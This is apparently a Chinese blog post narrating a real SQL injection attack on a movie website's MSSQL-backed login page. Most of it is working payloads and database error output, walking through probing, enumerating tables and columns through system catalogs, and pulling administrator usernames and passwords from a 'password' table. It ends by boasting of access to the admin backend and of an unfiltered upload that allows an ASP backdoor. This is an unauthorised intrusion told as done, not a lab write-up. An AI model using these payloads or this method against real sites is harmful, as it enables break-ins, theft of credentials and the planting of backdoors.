SQL注入的新技巧

表名和字段名的獲得
適用情況:
1)數據庫是MSSQL
2)連接數據庫的只是普通用戶
3)不知道ASP源代碼

可以進行的攻擊
1)對數據內容進行添加,查看,更改

實例:
本文件以

爲列進行測試攻擊。

第一步:
在輸入用戶名處輸入單引號,顯示
Microsoft OLE DB Provider for SQL Server 錯誤 80040e14
字符串 之前有未閉合的引號。

/user/wantpws.asp,行63

說明沒有過濾單引號且數據庫是MSSQL.

第二步:
輸入a;use master;--
顯示
Microsoft OLE DB Provider for SQL Server 錯誤 80040e21 多步LE DB 操作產生錯誤。如果可能,請檢查每個 OLE DB 狀態值。沒有工作被完成。

/user/wantpws.asp,行63
這樣說明沒有權限了。

第三步:
輸入:a or name like fff%;--
顯示有一個叫ffff的用戶哈。

第四步:
在用戶名處輸入
ffff and 1<>(select count(email) from [user]);--
顯示:
Microsoft OLE DB Provider for SQL Server 錯誤 80040e37
對象名 user 無效。

/user/wantpws.asp,行96

說明沒有叫user的表,換成users試試成功,同時說明有一個叫email的列.
輸入a having 1=1--
一般返回如下也就可以直接得到表名和一個字段名了
Microsoft OLE DB Provider for SQL Server 錯誤 80040e14
列 users.ID 在選擇列表中無效,因爲該列未包含在聚合函數中,並且沒有 GROUP BY 子句。

/user/wantpws.asp,行63

現在我們知道了ffff用戶的密碼是111111.

下面通過語句得到數據庫中的所有表名和字段名。

第五步:
輸入:
ffff;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
說明:
上面的語句是得到數據庫中的第一個用戶表,並把表名放在ffff用戶的郵箱字段中。
通過查看ffff的用戶資料可得第一個用表叫ad然後根據表名ad得到這個表的IDffff;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--
同上可知id是:581577110由於對象標誌id是根據由小到大排列的所以我們可以得到所有的用戶表的名字了象下面這樣就可以得到第二個表的名字了ffff;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--

ad 581577110
users 597577167
buy 613577224
car 629577281
learning 645577338
log 661577395
movie 677577452
movieurl 693577509
password 709577566
type 725577623
talk

經過一段時間的猜測後我們得到上面的分析一下應該明白password,users是最得要的

第六步:猜重要表的字段
輸入:
現在就看看users表有哪些字段
ffff;update [users] set email=(select top 1 col_name(object_id(users),3) from users) where name=ffff;--
得到第三個字段是password
ffff;update [users] set email=(select top 1 col_name(object_id(users),4) from users) where name=ffff;--
得到第四個字段是name
最後users表的字段共28個全得到了
(注:另一個得到字段的辦法,前提是系統的返回出錯信息
a group by ID having 1=1--
得到
Microsoft OLE DB Provider for SQL Server 錯誤 80040e14
列 users.userid 在選擇列表中無效,因爲該列既不包含在聚合函數中,也不包含在 GROUP BY 子句中。

/user/wantpws.asp,行63
這個第二個字段就是userid
顯示第三個字段。
a group by id,userid having 1=1--

Microsoft OLE DB Provider for SQL Server 錯誤 80040e14
列 users.password 在選擇列表中無效,因爲該列既不包含在聚合函數中,也不包含在 GROUP BY 子句中。

/user/wantpws.asp,行63
得到是password
同理,一直顯示出所有。:)
)

users表
1 2 3 4
id userid password name

5 6 7 8 9 10 11 12 13 14 15 16
Province homeaddress city adress starlook sex email nlook nos date money send

17 18 19 20 21 22 23 24 25 26 27 28
oklook dnlook lasthits phone askmejoin getmoney payno logintime mflag state post note

starlook--12 10 2003 2:41PM
nlook---0
nos---2 登陸次數
date--12 10 2003 12:00AM 註冊時間?
money--同上
send--空
oklook--0
dnlook--0
getmoney--0
state--0
note--這傢伙很。。。 說明

password表
1 2 3
id name pwd

然後我又試ad原來是用來記錄廣告擊點的。。
然後又試password表得到有name和pwd字段。
執行
ffff;update [users] set email=(select top 1 name from password) where name=ffff;--
可得第一個用戶名是admin123看樣兒多半是管理員了。
然後又得到了密碼是dy***dick188還是打星號算了哈哈...

這樣我們就完全進入了這個電影網站的後臺了哈哈。
http://www.dy***.com/login.asp

再進一步還可以知道管理員一共有三人密碼也都能看到了。
ffff;update [users] set email=(select top 1 count(id) from password) where name=ffff;--
ffff;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--

ffff;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--

只是能免費看電影好象還不夠哈..我看了看它的後臺管理原來在添加電影的地方對於上傳的圖片沒有過濾.asa的文件,這樣我就能上傳一個asp後門並執行

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章